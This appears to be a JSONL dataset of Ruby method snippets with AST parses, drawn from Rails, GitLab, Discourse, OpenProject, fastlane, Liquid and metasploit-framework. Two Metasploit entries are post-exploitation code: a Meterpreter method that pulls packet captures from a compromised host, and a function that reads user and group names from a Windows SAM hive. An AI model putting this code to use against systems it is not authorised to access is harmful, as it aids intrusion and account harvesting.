{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/app/components/webhooks/outgoing/webhooks/row_component.rb","start_line":59,"raw_source":"def row_css_class\n          [\n            \"webhooks--outgoing-webhook-row\",\n            \"webhooks--outgoing-webhook-row-#{model.id}\"\n          ].join(\" \")\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"row_css_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"webhooks--outgoing-webhook-row\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"webhooks--outgoing-webhook-row-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"id\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"6b304247-b402-4432-a034-91717c9cc5e5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":3646,"raw_source":"def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection\n    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }\n\n    form_for(@post) do |f|\n      expected = 0\n      f.fields_for(:comments, @post.comments) { |cf|\n        assert_equal expected, cf.index\n        expected += 1\n      }\n    end\n  end","complexity_score":19.28,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"comments=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields_for\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"comments\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"index\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"3b8bb684-4867-401e-b63d-1e3c458e17c4"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/analyzer/video_analyzer.rb","start_line":100,"raw_source":"def encoded_height\n        @encoded_height ||= Float(video_stream[\"height\"]) if video_stream[\"height\"]\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encoded_height\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"video_stream\"]},\"[]\",{\"type\":\"str\",\"children\":[\"height\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@encoded_height\"]},{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"video_stream\"]},\"[]\",{\"type\":\"str\",\"children\":[\"height\"]}]}]}]},null]}]}","id":"ca6c47df-b4db-4686-b2c3-8f905930b0ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/errors/multiple_errors.rb","start_line":35,"raw_source":"def self.create_if_many(errors)\n        raise ArgumentError, \"expected at least one error\" unless errors.any?\n        return errors.first if errors.count == 1\n\n        MultipleErrors.new(errors)\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_if_many\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"any?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"expected at least one error\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"first\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultipleErrors\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}","id":"999e94e0-0dc7-4953-96d1-87cc49bab4c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/avatar_uploader.rb","start_line":40,"raw_source":"def dynamic_segment\n    File.join(model.class.underscore, mounted_as.to_s, model.id.to_s)\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dynamic_segment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"class\"]},\"underscore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mounted_as\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"id\"]},\"to_s\"]}]}]}","id":"b5d6777a-2f91-4df2-a2a0-fdc443b2b8e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/serializers/discourse_post_event/event_serializer.rb","start_line":84,"raw_source":"def is_closed\n      object.closed\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_closed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"closed\"]}]}","id":"2370f4e6-dda0-4f54-83ae-01b053916856"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/application.rb","start_line":94,"raw_source":"def create!(name: nil, primary_language: nil, version: nil, sku: nil, bundle_id: nil, bundle_id_suffix: nil, company_name: nil, platform: nil, platforms: nil, itunes_connect_users: nil)\n          puts(\"The `version` parameter is deprecated. Use `ensure_version!` method instead\") if version\n          client.create_application!(name: name,\n                         primary_language: primary_language,\n                                      sku: sku,\n                                bundle_id: bundle_id,\n                                bundle_id_suffix: bundle_id_suffix,\n                                company_name: company_name,\n                                    platform: platform,\n                                    platforms: platforms,\n                                    itunes_connect_users: itunes_connect_users)\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"primary_language\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sku\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"bundle_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"bundle_id_suffix\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"company_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"platforms\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"itunes_connect_users\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"The `version` parameter is deprecated. Use `ensure_version!` method instead\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"create_application!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_language\"]},{\"type\":\"lvar\",\"children\":[\"primary_language\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sku\"]},{\"type\":\"lvar\",\"children\":[\"sku\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bundle_id\"]},{\"type\":\"lvar\",\"children\":[\"bundle_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bundle_id_suffix\"]},{\"type\":\"lvar\",\"children\":[\"bundle_id_suffix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"company_name\"]},{\"type\":\"lvar\",\"children\":[\"company_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platforms\"]},{\"type\":\"lvar\",\"children\":[\"platforms\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"itunes_connect_users\"]},{\"type\":\"lvar\",\"children\":[\"itunes_connect_users\"]}]}]}]}]}]}","id":"ea64344e-30ce-4a37-9953-3578656a39fb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb","start_line":113,"raw_source":"def capture_dump_read(intf, len=16384)\n    request = Packet.create_request(COMMAND_ID_SNIFFER_CAPTURE_DUMP_READ)\n    request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)\n    request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)\n    response = client.send_request(request, 3600)\n    {\n      :bytes   => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),\n      :data    => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET)\n    }\n  end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_dump_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"intf\"]},{\"type\":\"optarg\",\"children\":[\"len\",{\"type\":\"int\",\"children\":[16384]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_SNIFFER_CAPTURE_DUMP_READ\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SNIFFER_INTERFACE_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intf\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SNIFFER_BYTE_COUNT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"int\",\"children\":[3600]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SNIFFER_BYTE_COUNT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SNIFFER_PACKET\"]}]}]}]}]}]}","id":"cc14f7ea-a94f-4c75-bd12-046ae587dcbb"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/autospec/manager.rb","start_line":92,"raw_source":"def start_service_queue\n    puts \"@@@@@@@@@@@@ start_service_queue\" if @debug\n    Thread.new { thread_loop while true }\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"start_service_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@debug\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"@@@@@@@@@@@@ start_service_queue\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"thread_loop\"]}]}]}]}]}","id":"9f43dcd7-0691-4c99-91b5-84d2e9a50355"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/blob.rb","start_line":35,"raw_source":"def self.gitlab_blob_truncated_false\n        @gitlab_blob_truncated_false ||= ::Gitlab::Metrics.counter(:gitlab_blob_truncated_false, 'blob.truncated? == false')\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"gitlab_blob_truncated_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gitlab_blob_truncated_false\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"sym\",\"children\":[\"gitlab_blob_truncated_false\"]},{\"type\":\"str\",\"children\":[\"blob.truncated? == false\"]}]}]}]}","id":"0997fc73-a4bb-44b5-9e64-3fbc77c46dcc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/terraform/modules/v1/project_packages.rb","start_line":46,"raw_source":"def finder_params\n              { package_name: package_name }.tap do |finder_params|\n                finder_params[:package_version] = params[:module_version] if params.key?(:module_version)\n              end\n            end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"finder_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"send\",\"children\":[null,\"package_name\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"finder_params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"module_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"package_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"module_version\"]}]}]},null]}]}]}","id":"e6a32397-0cc5-4fb1-84ff-7241ee6781ea"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/local_cache_behavior.rb","start_line":317,"raw_source":"def test_initial_object_mutation_after_fetch\n    key = SecureRandom.uuid\n    @cache.with_local_cache do\n      initial = +\"bar\"\n      @cache.fetch(key) { initial }\n      initial << \"baz\"\n      assert_equal \"bar\", @cache.read(key)\n      assert_equal \"bar\", @cache.fetch(key)\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_initial_object_mutation_after_fetch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"with_local_cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initial\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"initial\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial\"]},\"<<\",{\"type\":\"str\",\"children\":[\"baz\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}","id":"9cbe3cd0-4e84-401a-80d9-faf3fb010df1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb","start_line":228,"raw_source":"def execute_service!(service, payload_attr = nil)\n            response = service.execute\n            if response.is_a?(ServiceResponse) && response.error?\n              logger.error(response.message)\n              raise RuntimeError\n            end\n\n            record = payload_attr ? response[payload_attr] : response\n            ensure_success(record)\n          end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_service!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"optarg\",\"children\":[\"payload_attr\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_attr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"payload_attr\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ensure_success\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}","id":"f2be02ac-3a02-4a58-8e0c-d05f628c154e"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":792,"raw_source":"def test_current_page_with_array_of_methods_including_get_method_includes_head\n    @request = request_for_url(\"/events\", method: :head)\n\n    assert current_page?(\"/events\", method: [:post, :get])\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_current_page_with_array_of_methods_including_get_method_includes_head\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[null,\"request_for_url\",{\"type\":\"str\",\"children\":[\"/events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"head\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"current_page?\",{\"type\":\"str\",\"children\":[\"/events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"get\"]}]}]}]}]}]}]}]}","id":"9d565b7c-6c15-48f2-a3ff-0f15e7b98a1d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/reg.rb","start_line":106,"raw_source":"def get_user_information\n\n\n  local_groups_info_key = @hive.relative_query(\"\\\\SAM\\\\Domains\\\\Builtin\\\\Aliases\\\\Names\")\n  local_users_info_key = @hive.relative_query(\"\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\")\n\n  print_all(local_groups_info_key)\n  puts \"------------------------------------------------\" if local_groups_info_key && local_groups_info_key.lf_record.children\n\n  print_all(local_users_info_key)\n  puts \"------------------------------------------------\" if local_users_info_key && local_groups_info_key.lf_record.children\nend","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_user_information\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"local_groups_info_key\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hive\"]},\"relative_query\",{\"type\":\"str\",\"children\":[\"\\\\SAM\\\\Domains\\\\Builtin\\\\Aliases\\\\Names\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"local_users_info_key\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hive\"]},\"relative_query\",{\"type\":\"str\",\"children\":[\"\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_all\",{\"type\":\"lvar\",\"children\":[\"local_groups_info_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_groups_info_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_groups_info_key\"]},\"lf_record\"]},\"children\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"------------------------------------------------\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_all\",{\"type\":\"lvar\",\"children\":[\"local_users_info_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_users_info_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_groups_info_key\"]},\"lf_record\"]},\"children\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"------------------------------------------------\"]}]},null]}]}]}","id":"c8ae954a-5320-49bf-a7ba-db6f29ba8e4d"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/output_test.rb","start_line":92,"raw_source":"def test_variable_piping_with_multiple_args\n    text     = %( {{ car.gm | add_tag : 'span', 'bar'}} )\n    expected = %( <span id=\"bar\">bad</span> )\n\n    assert_equal(expected, Template.parse(text).render!(@assigns, filters: [FunnyFilter]))\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_variable_piping_with_multiple_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\" {{ car.gm | add_tag : 'span', 'bar'}} \"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\" <span id=\\\"bar\\\">bad</span> \"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},\"render!\",{\"type\":\"ivar\",\"children\":[\"@assigns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FunnyFilter\"]}]}]}]}]}]}]}]}","id":"5edc2519-db5b-4759-8f44-79012f0e1e25"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/assigner.rb","start_line":580,"raw_source":"def assignment_eq?(assignment, assign_to, type, note, status)\n    return false if !assignment&.active\n    return false if assignment.assigned_to_id != assign_to.id\n    return false if assignment.assigned_to_type != type\n    return false if assignment.note != note\n    assignment.status == status || !status && assignment.status == Assignment.default_status\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"assignment_eq?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assignment\"]},{\"type\":\"arg\",\"children\":[\"assign_to\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"active\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"assigned_to_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assign_to\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"assigned_to_type\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"note\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"note\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"status\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"status\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assignment\"]},\"default_status\"]}]}]}]}]}]}","id":"4a77ebee-8d77-4a0c-9845-754c66a781a4"}
